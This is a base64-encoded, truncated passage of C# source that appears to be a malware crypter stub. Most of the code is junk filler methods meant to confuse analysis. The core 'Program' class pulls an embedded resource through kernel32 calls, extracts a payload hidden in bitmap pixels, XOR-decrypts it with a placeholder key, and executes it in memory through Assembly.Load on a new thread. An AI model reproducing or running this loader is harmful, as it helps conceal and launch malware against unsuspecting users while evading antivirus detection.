Jvbm1lbnQuRXhpdCgwKTt1aW50IEJBbElNTCA9IDgyMzU0NzMwNjsgCmludCBaZmlKY3kgPSA5NjQ0OyAKaWYoWmZpSmN5ID09IDgyNzI2Mil7DQpaZmlKY3kgPSBaZmlKY3kgKyAxMzMwMTY7DQp9dXNob3J0IHNERHdKaSA9IDEzMzY3OyAKDQp9cHVibGljIHZvaWQgVVhRdU5uKCl7DQpkb3VibGUgbkdxa3FQID0gMTYzLjY4OTM7IApkb3VibGUgaUx5QUdpUkVWRXNWa2l1ID0gLTIuMDQ3MTUyRS0yMjsNCm5HcWtxUCA9IGlMeUFHaVJFVkVzVmtpdSAvIDM7DQpkb3VibGUgeXBtYmtMID0gMC40NTk1ODA2OyAKd2hpbGUoeXBtYmtMID09IC04LjUwMzY4NkUrMDkpew0KeXBtYmtMID0gTWF0aC5Qb3coZG91YmxlLk1pblZhbHVlLCBkb3VibGUuTWF4VmFsdWUpOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9dXNob3J0IGFGZWVBdyA9IDM0NTA5OyAKYnl0ZSBFWkNaQmsgPSAgMjM4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IExSVWFsRSA9IDk0NTMwNDg5OyAKaWYoTFJVYWxFID09IDg2NDA2MSl7DQpMUlVhbEUgPSBMUlVhbEUgKyAyMzcxMDA7DQp9dWludCBMcnBRUFkgPSAxODsgCg0KfQp9IHB1YmxpYyBjbGFzcyBJY3BwdVR7cHVibGljIHZvaWQgY2RiaElMKCl7DQp1bG9uZyBqU2NnbkMgPSA0ODAxNjg1NTEwODIzMTgyNTsgCnN0cmluZyBsaHRMTFIgPSAib0dESmVUIjsgCiBDb25zb2xlLldyaXRlTGluZShsaHRMTFIpO3VzaG9ydCBBZ2tIY1AgPSAyMDA0NzsgCmludCBSWEl6UlcgPSA1OTsgCmlmKFJYSXpSVyA9PSA2NTM2MDgpew0KUlhJelJXID0gNjkwMDc2Ow0KfWJ5dGUgVUdmdnlXID0gIDQzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUga1VrRmRpID0gIC00ODsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgVXpSdWVkKCl7DQpzYnl0ZSBnR2pOUmUgPSAgMzY7IAogQ29uc29sZS5SZWFkTGluZSgpO2Zsb2F0IGVBdGtwciA9IC0wLjAwMDM1NzU0MDVGOyAKZmxvYXQgWHd5QWx4ID0gLTYwMDUyLjM3RjsgCmludCBaaWVPZXYgPSA5MjQyNTI5ODsgCmlmKFppZU9ldiA9PSA2NzcxOSl7DQpaaWVPZXYgPSAyMTk0MjE7DQp9bG9uZyBJRlVueG0gPSAyMjE1NzU1NjI0NDQxNzI0NjsgCnVsb25nIEZ0bHhXeiA9IDMxNzcwNzQwMDYyMTkxMDMwOyAKDQp9cHVibGljIHZvaWQgRnF4bmduKCl7DQpzYnl0ZSBleU5yemMgPSAgLTc2OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCB3bExJRk8gPSAtMzAyODg7IAogYnl0ZVtdIHdsTElGT3dsTElGTyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygid2xMSUZPIik7ZG91YmxlIGlRQlhMSyA9IC0yLjE4MDY5NUUtMTc7IAppUUJYTEsgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQpDb25zb2xlLldyaXRlKGlRQlhMSy5Ub1N0cmluZygpKTtsb25nIHlYT0FTZyA9IDY5MDk0NDYwNTcxNDE2ODE0OyAKdWludCBGbWlrbWEgPSA0NDY2MzA1Nzg7IApzYnl0ZSBnR1N5eUIgPSAgOTA7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIFRIZmh1TSgpew0KdWxvbmcgbUJMYlB2ID0gMzc0MzQzOTM0ODE2MjQzMjA7IAp1bG9uZyB3QlhXbEYgPSA1MTM5NzQ3NTU1NjIyNzMwOTsgCmxvbmcgbG9MT2tjID0gODYyODExNjE3OTI1NTc5NjU7IApkb3VibGUgcmhGV3JhID0gLTkuOTEzODM1RSsxOTsgCnJoRldyYSA9IE1hdGguQ2VpbGluZyhNYXRoLkF0YW4oLTUpKTsNCkNvbnNvbGUuV3JpdGUocmhGV3JhLlRvU3RyaW5nKCkpO3N0cmluZyBZZkFjVnkgPSAiTE55ZGdOIjsgCiBDb25zb2xlLldyaXRlTGluZShZZkFjVnkpO3N0cmluZyB6SFhtbkEgPSAiSXpJS293IjsgCiBDb25zb2xlLldyaXRlTGluZSh6SFhtbkEpOw0KfXB1YmxpYyB2b2lkIFRMZEpMQigpew0KdWxvbmcgRldXYnpBID0gODU0NTIzOTM0NjIzNzgwNzk7IApzdHJpbmcgamhiSnFiID0gInNMcXpMayI7IAogQ29uc29sZS5Xcml0ZUxpbmUoamhiSnFiKTt1bG9uZyBSWUJEQ3EgPSA4MTU3MjMyNjkzMTg0NzUyNjsgCnVsb25nIGNmYlp2byA9IDQzMzgzOTI5NTAyNzQ4MDMzOyAKc3RyaW5nIHBieWVWSiA9ICJteVdOSEkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHBieWVWSik7c3RyaW5nIHFUUEV3RSA9ICJOYVJWRVIiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHFUUEV3RSk7DQp9cHVibGljIHZvaWQga2lRV2lMKCl7DQpsb25nIFRwYkZKcSA9IDg1Njc5MjQ4ODk3NTUxMjI4OyAKdXNob3J0IEFqZ21ucyA9IDEwNjg4OyAKc2J5dGUgZ0NJcVpVID0gIDE3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1c2hvcnQgckdTQ0RiID0gMjQxMDsgCnVzaG9ydCBPc0ljQ1EgPSA5NzQ3OyAKZG91YmxlIEJwYW56UCA9IC01LjY2NTY4N0UtMjc7IAppZihCcGFuelAgPT0gNS4zNDU5MjVFKzEwKXsNCkJwYW56UCA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoLTQuNjY1MDgyRS0zMCk7DQp9DQp9DQp9Cn0gcHVibGljIGNsYXNzIEFQR0VLbHtwdWJsaWMgdm9pZCB4dkVpS2UoKXsNCmJ5dGUgc1lDQ29RID0gIDI1MzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBVYmRKZEggPSAtMS4xNjE2OTFFKzE3OyAKd2hpbGUoVWJkSmRIID09IDQuOTUxNjE0RSsxMCl7DQpVYmRKZEggPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KZm9yKCA7IDspIHsNCkNvbnNvbGUuV3JpdGVMaW5lKDIuNjA3MDRFLTEyKTsNCn0NCn11c2hvcnQgdm5WREZFID0gNjE2ODU7IAp1c2hvcnQgUkNnSXd6ID0gMjIxOyAKbG9uZyByUVlWTnggPSAxMTM5OTE5MzAyNjA1OTg1NTsgCnNob3J0IG9Nclh6VyA9IDI5OTM5OyAKIGJ5dGVbXSBvTXJYeldvTXJYelcgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm9Nclh6VyIpOw0KfXB1YmxpYyB2b2lkIE1EaFZ4VCgpew0Kc2J5dGUgWVp4T0xHID0gIC02MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBRSGN6UEMgPSA0MzQwMzM1NjEzMjI2NDA2ODsgCnVzaG9ydCBNR2dZZkggPSA0MjYyMzsgCnN0cmluZyBzdU1vcEogPSAiZ3pvTXZ1IjsgCiBDb25zb2xlLldyaXRlTGluZShzdU1vcEopO3Nob3J0IHludFZERCA9IC0xNTk0NzsgCiBieXRlW10geW50VkREeW50VkREID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ5bnRWREQiKTtzaG9ydCBBWUdFcGQgPSAyNjQ0NTsgCiBieXRlW10gQVlHRXBkQVlHRXBkID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJBWUdFcGQiKTsNCn1wdWJsaWMgdm9pZCB0cUNRQVcoKXsNCnVsb25nIHlrYXdtVCA9IDUzNjc5MjA4MTY4MzI0NjA0OyAKbG9uZyBCeml1a2IgPSAzODI1OTA1MjUwMTgxNTczNjsgCmxvbmcgTW1yb1V5ID0gNDkwNDA1MDAyMTQ5NDk5MjI7IAp1aW50IGJxSGVtRiA9IDI2MjgxNTU0OyAKbG9uZyB0QnFiWHUgPSA4NTIyNjQyNzUxODYzNTg0MzsgCmRvdWJsZSByUGJUdE0gPSA0LjE1MjgwM0UtMzA7IApyUGJUdE0gPSBNYXRoLlBvdyg1LCAyKTsNCnRyeXsNCmludCB5QVF3VFNvZVduUlhYID0gNzE4MDM1NDsNCmlmKHlBUXdUU29lV25SWFggPT0gMzI0NjQpew0KeUFRd1RTb2VXblJYWCsrOw0KfWVsc2V7DQp5QVF3VFNvZVduUlhYLS07DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfXB1YmxpYyB2b2lkIHZ6YXRkVigpew0KaW50IHlKSGVNRCA9IDQ5Nzc3NTsgCmlmKHlKSGVNRCA9PSA0Mzk2NDkpew0KeUpIZU1EID0geUpIZU1EICsgNzY0MjI0Ow0KfXNieXRlIHRLd2hQeiA9ICA0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgeHNZTHFHID0gODU0NzY1OyAKaWYoeHNZTHFHID09IDE5ODA2MCl7DQp4c1lMcUcgPSB4c1lMcUcgKyA2MjU1Njg7DQp9dWxvbmcgQ0dLUm1FID0gMzkwODQ5MTQ1NzQxMTg0NDsgCnVsb25nIGpVck5KTyA9IDIxMDAzODczMTA3NTY0ODAwOyAKYnl0ZSBpa21Qb3IgPSAgNjk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBRTkxMSFIoKXsNCmxvbmcgZWpYUUtEID0gNzc3MzU2NDE5Njc5MTQ3NTA7IAp1aW50IFZ0U09IbCA9IDQ5OTc2MjI2OyAKc2hvcnQgY2dKQmtOID0gLTMxOTEyOyAKIGJ5dGVbXSBjZ0pCa05jZ0pCa04gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImNnSkJrTiIpO3VpbnQgb1FmdHFSID0gMzY5MjsgCmxvbmcgZGFtUHB5ID0gMzA3NDc0NzE2MDQzNDgyMzY7IApzaG9ydCBzbG1aUlIgPSAtMjQ5MjM7IAogYnl0ZVtdIHNsbVpSUnNsbVpSUiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygic2xtWlJSIik7DQp9cHVibGljIHZvaWQgQ1VtT29zKCl7DQppbnQgSkVwRnlHID0gNTc7IAppZihKRXBGeUcgPT0gMTQxODczKXsNCkpFcEZ5RyArPSA0MjE0ODE7DQp9dWludCBlZ1lQY2UgPSA2ODc3MTI7IApsb25nIHlIemNXUyA9IDc3NzkzNTQ5MTE5MDUwNTAxOyAKdWxvbmcgdUZGV0dWID0gODY3MzE5NTA5MTMxNzk3OTc7IAppbnQgeGp4RUtOID0gNzIzNzEzNDg7IAppZih4anhFS04gPT0gMTAxMDcwKXsNCnhqeEVLTiA9IHhqeEVLTiArIDEyMDA1NjsNCn1ieXRlIGZ2Vm5VViA9ICA5NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IHB1YmxpYyBjbGFzcyBvTVBtVEx7cHVibGljIHZvaWQgVWNsTWJJKCl7DQp1aW50IGxzdUtIYiA9IDk2OyAKZG91YmxlIE9UbGFndCA9IDQuODkwODE2RSszNTsgCk9UbGFndCA9IE1hdGguU3FydCg0KTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1zdHJpbmcgU3FhWXpEID0gInhJREZuUCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoU3FhWXpEKTtieXRlIHhkdlRabyA9ICA5NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIEtEcVB1USA9IDc2NjU0MTk4NDA1MDEwNjk3OyAKc2J5dGUgTkV0TmNVID0gIC00NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgekFaelVaKCl7DQpmbG9hdCBjWXhFc0ogPSAyLjQxNzUxN0UtMTJGOyAKdWludCB5T2VEenggPSA2NzM2OyAKc2hvcnQgVHlSbmdtID0gMjk3MTsgCiBieXRlW10gVHlSbmdtVHlSbmdtID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJUeVJuZ20iKTtzaG9ydCBLV1dDSGIgPSAtMTA3NjM7IAogYnl0ZVtdIEtXV0NIYktXV0NIYiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiS1dXQ0hiIik7ZmxvYXQgVm9mUWNCID0gLTguNzUwMDY0RSsxOEY7IApkb3VibGUgZFVOcEVoID0gLTIuMzEyODY7IAppZihkVU5wRWggPT0gMy4xNjAzMjZFLTM0KXsNCmRvdWJsZSBlYkVIaWVpRnFaZVRua0VubmNhTGUgPSBNYXRoLkxvZygxMDAwLCAxMCk7DQpkVU5wRWggPSBlYkVIaWVpRnFaZVRua0VubmNhTGU7DQp0cnl7DQppbnQgZlhUbE56VWFUUEhUTklMUVFHaHBTRnJQSCA9IDI2ODA2NDQ7DQppZihmWFRsTnpVYVRQSFROSUxRUUdocFNGclBIID09IDE1MjMzKXsNCmZYVGxOelVhVFBIVE5JTFFRR2hwU0ZyUEgrKzsNCn1lbHNlew0KZlhUbE56VWFUUEhUTklMUVFHaHBTRnJQSC0tOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn0NCn1wdWJsaWMgdm9pZCBBbEtuUWYoKXsNCnNob3J0IFN0ZXBOYyA9IDE2OTg2OyAKIGJ5dGVbXSBTdGVwTmNTdGVwTmMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlN0ZXBOYyIpO3NieXRlIGdNdGZMbiA9ICA5MTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgdlhvRlJ2ID0gMC4wMTQ3MTIwMkY7IApmbG9hdCBQSEpFdmMgPSAtMi4zMDIxMjhFLTM4RjsgCnNob3J0IHJxUU9mcyA9IDIxODEzOyAKIGJ5dGVbXSBycVFPZnNycVFPZnMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInJxUU9mcyIpO3VzaG9ydCBNWmVBQ1kgPSA1Nzg0ODsgCg0KfXB1YmxpYyB2b2lkIHdPbExOVCgpew0Kc2hvcnQgQUlCa0RSID0gLTE2NzQ0OyAKIGJ5dGVbXSBBSUJrRFJBSUJrRFIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkFJQmtEUiIpO3VpbnQgdGtJanp2ID0gNzIyOTk1NzE7IAp1bG9uZyB3bGJqVUcgPSAzNDExNzU3NjA5MjAzODAzNjsgCnNieXRlIEhnaXZSdiA9ICAtODU7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIEdzVmVCeSA9IDc3MTMzNTIxOTIyMTk1MTc5OyAKZG91YmxlIENYV1FHdyA9IC0xLjM3MzE4NUUtMDg7IAppZihDWFdRR3cgPT0gOS41NDgwMDUpew0KQ1hXUUd3ID0gTWF0aC5Qb3coNSwgMik7DQpvYmplY3QgdGRYZlprUm5JZWdvcFV4ckdDY2hrSFFJOw0KdGRYZlprUm5JZWdvcFV4ckdDY2hrSFFJID0gLTUuNTUxODVFLTA1Ow0KfQ0KfXB1YmxpYyB2b2lkIEZhR1RtTSgpew0KZG91YmxlIHdneEFwQyA9IC05LjM1NzUwOEUrMTU7IAp3Z3hBcEMgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQp1c2hvcnQgRk9BTk1rID0gMTQ5ODE7IApsb25nIGtzSUdrYSA9IDQ4Mzk5NjA3MDUxNTMwMTE5OyAKc3RyaW5nIG9DSFRVTCA9ICJTTHBNdkoiOyAKIENvbnNvbGUuV3JpdGVMaW5lKG9DSFRVTCk7dWxvbmcgd05qUWx2ID0gMzgzMTYxMTQ0MzI3MjgwMTY7IAp1aW50IHl3a2VLViA9IDMyNjsgCg0KfXB1YmxpYyB2b2lkIFJ3WG96RSgpew0KdWludCBGZEVLT2QgPSA5NDsgCnNob3J0IGRnaUxDQSA9IC0xMzU2MDsgCiBieXRlW10gZGdpTENBZGdpTENBID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJkZ2lMQ0EiKTtsb25nIE9aUkpTTyA9IDcyMTQ1OTE5MDc2MzY1MjUxOyAKaW50IE9HRlJpeSA9IDU1NTsgCndoaWxlKE9HRlJpeSA9PSA1NTUpew0KT0dGUml5ID0gT0dGUml5ICsgNTU2NzEzOw0KfWRvdWJsZSBQdnF5aW4gPSAtNC4wMTgyNzJFLTI2OyAKd2hpbGUoUHZxeWluID09IC0xLjg2NTEyNEUrMjIpew0KUHZxeWluID0gTWF0aC5Qb3coNSwgMik7DQpDb25zb2xlLldyaXRlTGluZShQdnF5aW4uVG9TdHJpbmcoKSk7DQp9ZG91YmxlIG13c2NwVyA9IC0yLjg0NDc0NEUtMDk7IAptd3NjcFcgPSBNYXRoLlRydW5jYXRlKG13c2NwVyk7DQppbnQ/IEtwbVhtT05GTnMgPSAzNzI4OTQ1Ow0KS3BtWG1PTkZOcyArPSA4NjkyNjsNCn0KfSBwdWJsaWMgY2xhc3MgVmhJZFRJe3B1YmxpYyB2b2lkIGFwaHRjeCgpew0KaW50IHhCVUl0SCA9IDc4Mjc1MDQzOyAKaWYoeEJVSXRIID09IDYzNzA2NSl7DQp4QlVJdEggKz0gMjEyNzcyOw0KfWludCBUQkpwZGIgPSA3NDM4MzE3MDA7IAp3aGlsZShUQkpwZGIgPT0gNzQzODMxNzAwKXsNClRCSnBkYiA9IFRCSnBkYiArIDk3OTI5NjsNCn11c2hvcnQgUkp5TXRVID0gMjc2NDc7IAp1c2hvcnQgSE9RU2tyID0gNDkwMzA7IApkb3VibGUgSmJTSGFQID0gMi4wNTg3OTNFKzMzOyAKaWYoSmJTSGFQID09IDIuNTUyMzYxRSsxMCl7DQpKYlNIYVAgPSBNYXRoLkNlaWxpbmcoTWF0aC5BdGFuKC01KSk7DQpDb25zb2xlLldyaXRlTGluZShKYlNIYVAuVG9TdHJpbmcoKSk7DQp9dXNob3J0IFVPVnZSeCA9IDE5MDA1OyAKDQp9cHVibGljIHZvaWQgckFzTXhLKCl7DQpzdHJpbmcgcU13aHR6ID0gIndKSVNQUCI7IAogQ29uc29sZS5Xcml0ZUxpbmUocU13aHR6KTtieXRlIGpvRE9XVyA9ICA2MTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBQVVZmUHYgPSAtMi41MDgxMjRFLTA4OyAKZG91YmxlIGZJcWNVID0gNy44Mjk2NzZFLTI1Ow0KUFVWZlB2ID0gZklxY1UgKiAyOw0KdHJ5ew0KaW50IGh6WmFQV053UFVHSHRKamNZbSA9IDk3Njg0MTsNCmlmKGh6WmFQV053UFVHSHRKamNZbSA9PSAyMjIzKXsNCmh6WmFQV053UFVHSHRKamNZbSsrOw0KfWVsc2V7DQpoelphUFdOd1BVR0h0SmpjWW0tLTsNCkNvbnNvbGUuV3JpdGUoaHpaYVBXTndQVUdIdEpqY1ltLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1kb3VibGUgQVV5SHVNID0gMi41OTI5MjdFLTA4OyAKQVV5SHVNID0gTWF0aC5UcnVuY2F0ZShBVXlIdU0pOw0Kb2JqZWN0IHRCVWlmbUd6aDsNCnRCVWlmbUd6aCA9IDEuNTgwNDkzRS0xMDsNCkNvbnNvbGUuV3JpdGVMaW5lKHRCVWlmbUd6aC5Ub1N0cmluZygpLlRvTG93ZXIoKSk7c2J5dGUgT0JOZFhkID0gIC0zMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c3RyaW5nIHB2d1h5eiA9ICJZeFF0dGkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHB2d1h5eik7DQp9cHVibGljIHZvaWQgdHZ2VFdBKCl7DQpmbG9hdCBVTlZId3ogPSAxLjcxNTMwM0UrMTZGOyAKdXNob3J0IHJGS2ZrVCA9IDQ0MzkwOyAKZG91YmxlIFNLRVFnbSA9IC0xLjQ5Nzc3MUUrMzE7IAppZihTS0VRZ20gPT0gMS4wMDQzODNFKzM0KXsNClNLRVFnbSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9Ynl0ZSBmUXFZTUQgPSAgNTc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCB4QnNQS2IgPSA2LjUxMTc4MkUtMTBGOyAKZmxvYXQgRm1udkJEID0gLTEuNzg1MDU4RSszNEY7IAoNCn1wdWJsaWMgdm9pZCBORVZrTkgoKXsNCmxvbmcgd3RnekJGID0gNDY2MDQ0NDEzMjA2NjM1MTk7IApzdHJpbmcgaHBFcktpID0gImJ1Q2FKUCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoaHBFcktpKTtmbG9hdCBXYXVUZ2wgPSAtMS42ODA3NzlFKzMzRjsgCnVpbnQgVFNrbENGID0gMzYyNTc7IAp1aW50IEJwa0lRUSA9IDQ1OyAKc2J5dGUgV2xoa25JID0gIC0xMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgT3lwYURVKCl7DQp1c2hvcnQgQ3BpeW9PID0gNTc5NTI7IApmbG9hdCBqYmp1dGogPSA3Ljc1NjQ3MUUtMTdGOyAKdWludCBqZVdqTWggPSA2MTI5NTM7IAp1bG9uZyBscEVGQkQgPSA3NjM4MjgxODIwNTk3NTkzNTsgCmZsb2F0IHlJaFV3aCA9IDAuMTkzNTI1MUY7IAp1c2hvcnQgY2xLWFFMID0gNjA5ODg7IAoNCn1wdWJsaWMgdm9pZCBIalllc2woKXsNCnVsb25nIG5WT0pOUCA9IDM0NDExMjE5ODY1Mzg4MjM3OyAKc3RyaW5nIERxT0d1biA9ICJiSXJ3b0MiOyAKIENvbnNvbGUuV3JpdGVMaW5lKERxT0d1bik7c3RyaW5nIEZUTnNBSyA9ICJTU0tBQlIiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEZUTnNBSyk7bG9uZyBwSnJKSXAgPSAyMDc0NTQ2Njg1MzM3NDU3NjsgCnVpbnQgS1F2aElKID0gMzQ7IAppbnQgaXBDVFFoID0gMTc3NzsgCndoaWxlKGlwQ1RRaCA9PSAxNzc3KXsNCmlwQ1RRaCA9IGlwQ1RRaCArIDgzMTA2MjsNCn0NCn0KfSANCg0KICAgIGNsYXNzIFByb2dyYW0NCiAgICB7DQoNCiAgICAgICAgc3RhdGljIHN0cmluZyB2dmVFVERDbmpzb05YID0gIiNwYXNzIyI7DQogICAgICAgIHByaXZhdGUgc3RhdGljIGJ5dGVbXSB4Y0VsSkhwKGJ5dGVbXSBieXRlcykNCiAgICAgICAgew0KICAgICAgICAgICAgYnl0ZVtdIGJ5dGVBcnJheSA9IEVuY29kaW5nLlVuaWNvZGUuR2V0Qnl0ZXModnZlRVREQ25qc29OWCk7DQogICAgICAgICAgICBmb3IgKGludCBpID0gMDsgaSA8IGJ5dGVzLkxlbmd0aDsgaSsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGJ5dGVzW2ldIF49IGJ5dGVBcnJheVtpICUgMTZdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGJ5dGVzOw0KICAgICAgICB9DQoJCQ0KCQlwcml2YXRlIHN0YXRpYyBieXRlW10gQ29udmVydEZyb21CbXAoU3lzdGVtLkRyYXdpbmcuQml0bWFwIGIpDQogICAgICAgIHsNCiAgICAgICAgICAgIGludCBsID0gYi5XaWR0aDsNCiAgICAgICAgICAgIGludCBuID0gbCAqIGwgKiA0Ow0KICAgICAgICAgICAgYnl0ZVtdIGJ1ZmYgPSBuZXcgYnl0ZVtuXTsNCiAgICAgICAgICAgIGludCBrID0gMDsNCg0KICAgICAgICAgICAgZm9yIChpbnQgeCA9IDA7IHggPCBsOyB4KyspDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZm9yIChpbnQgeSA9IDA7IHkgPCBsOyB5KyspDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KEJpdENvbnZlcnRlci5HZXRCeXRlcyhiLkdldFBpeGVsKHgsIHkpLlRvQXJnYigpKSwgMCwgYnVmZiwgaywgNCk7DQogICAgICAgICAgICAgICAgICAgIGsgKz0gNDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGludCBsZW4gPSBCaXRDb252ZXJ0ZXIuVG9JbnQzMihidWZmLCAwKTsNCiAgICAgICAgICAgIGJ5dGVbXSBmID0gbmV3IGJ5dGVbbGVuXTsNCiAgICAgICAgICAgIEJ1ZmZlci5CbG9ja0NvcHkoYnVmZiwgNCwgZiwgMCwgZi5MZW5ndGgpOw0KICAgICAgICAgICAgcmV0dXJuIGY7DQogICAgICAgIH0NCgkJDQoJCQ0KCQlzdGF0aWMgYnl0ZVtdIE5FUklNOw0KCQlwdWJsaWMgc3RhdGljIHZvaWQgWXlFRndscmlsR1J5b0RuSCgpDQoJCXsNCgkJCUFzc2VtYmx5LkxvYWQoTkVSSU0pLkVudHJ5UG9pbnQuSW52b2tlKG51bGwsIG5ldyBvYmplY3RbXSB7IG5ldyBzdHJpbmdbXSB7IH0gfSk7DQoJCX0NCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBGaW5kUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBscE5hbWUsIEludFB0ciBscFR5cGUpOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlzdGF0aWMgZXh0ZXJuIHVpbnQgU2l6ZW9mUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBoUmVzSW5mbyk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXN0YXRpYyBleHRlcm4gSW50UHRyIExvYWRSZXNvdXJjZShJbnRQdHIgaE1vZHVsZSwgSW50UHRyIGhSZXNJbmZvKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2NrUmVzb3VyY2UoSW50UHRyIGhSZXNEYXRhKTsNCgkJDQoNCgkJcHVibGljIHN0YXRpYyBCaXRtYXAgQnl0ZTJJbWFnZShieXRlW10gaW1nKQ0KICAgICAgICB7DQogICAgICAgICAgICB1c2luZyAodmFyIHN0cmVhbSA9IG5ldyBNZW1vcnlTdHJlYW0oaW1nKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IEJpdG1hcChzdHJlYW0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoJCQ0KICAgICAgICBzdGF0aWMgdm9pZCBNYWluKCkNCiAgICAgICAgew0KICAgICAgICAgICAgdHJ5DQogICAgICAgICAgICB7CQkNCgkJCQlJbnRQdHIgZlJlc291cmNlID0gRmluZFJlc291cmNlKG5ldyBJbnRQdHIoMCksIG5ldyBJbnRQdHIoMTQ1KSwgbmV3IEludFB0cigyMykpOw0KCQkJCXVpbnQgc1Jlc291cmNlID0gU2l6ZW9mUmVzb3VyY2UobmV3IEludFB0cigwKSwgZlJlc291cmNlKTsNCgkJCQlJbnRQdHIgbFJlc291cmNlID0gTG9hZFJlc291cmNlKG5ldyBJbnRQdHIoMCksIGZSZXNvdXJjZSk7DQoJCQkJSW50UHRyIGRSZXNvdXJjZSA9IExvY2tSZXNvdXJjZShsUmVzb3VyY2UpOw0KCQkJCQ0KCQkJCU5FUklNID0gbmV3IGJ5dGVbc1Jlc291cmNlXTsNCgkJCQlTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5Db3B5KGRSZXNvdXJjZSwgTkVSSU0sIDAsIFN5c3RlbS5Db252ZXJ0LlRvSW50MzIoc1Jlc291cmNlKSk7DQoJCQkJTkVSSU0gPSB4Y0VsSkhwKENvbnZlcnRGcm9tQm1wKEJ5dGUySW1hZ2UoTkVSSU0pKSk7DQoJCQkJDQoJCQkJU3lzdGVtLlRocmVhZGluZy5UaHJlYWQgdGhyID0gbmV3IFN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkKFl5RUZ3bHJpbEdSeW9EbkgpOw0KCQkJCXRoci5TdGFydCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2F0Y2gNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KCQ0KCXB1YmxpYyBjbGFzcyB0cUF4WGd7cHVibGljIHZvaWQgZXp1UE1uKCl7DQppbnQgUGtUbFlzID0gNTc5MDsgCndoaWxlKFBrVGxZcyA9PSA1NzkwKXsNClBrVGxZcyA9